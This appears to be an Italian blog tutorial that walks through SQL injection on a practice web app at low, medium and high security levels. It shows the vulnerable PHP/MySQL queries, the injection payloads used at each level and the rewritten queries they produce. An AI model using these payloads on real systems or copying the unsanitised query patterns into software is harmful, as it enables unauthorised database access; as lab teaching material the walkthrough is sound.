SQL INJECTION
Low security
Primo payload
Yuri’
Cosa si aspetta il programmatore
SELECT first_name, last_name FROM users WHERE user_id = ‘$id’
Inserendo l’apice, la query è diventata:
SELECT first_name, last_name FROM users WHERE user_id = ‘Yuri”; (che manda in tilt il database).
Secondo payload
1′ OR ‘1’=’1
Cosa si aspetta il programmatore
SELECT first_name, last_name FROM users WHERE user_id = ‘INPUT_UTENTE’;
Ecco come si trasforma la query finale con il secondo payload:
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ OR ‘1’=’1′;
Medium security
Il codice aggiuntivo del programmatore
mysqli_real_escape_string
Errore A nel codice sorgente
SELECT first_name, last_name FROM users WHERE user_id = $id;
Il payload che va inserito in
<select name=”id”>
<option value=”1″>1</option> qui diventa value=”1 OR 1=1″
<option value=”2″>2</option>
<option value=”3″>3</option>
<option value=”4″>4</option>
<option value=”5″>5</option>
</select>
Livello High
Limit a 1 per fare in modo che venga estratto al massimo un solo record alla volta.
$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;”;
Errore identico del livello low: input non sanificato:
<input type=”text” size=”15″ name=”id”>
Il payload del livello high
1′ OR 1=1 #
La nuova query con il payload
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ OR 1=1 #’ LIMIT 1;
0 commenti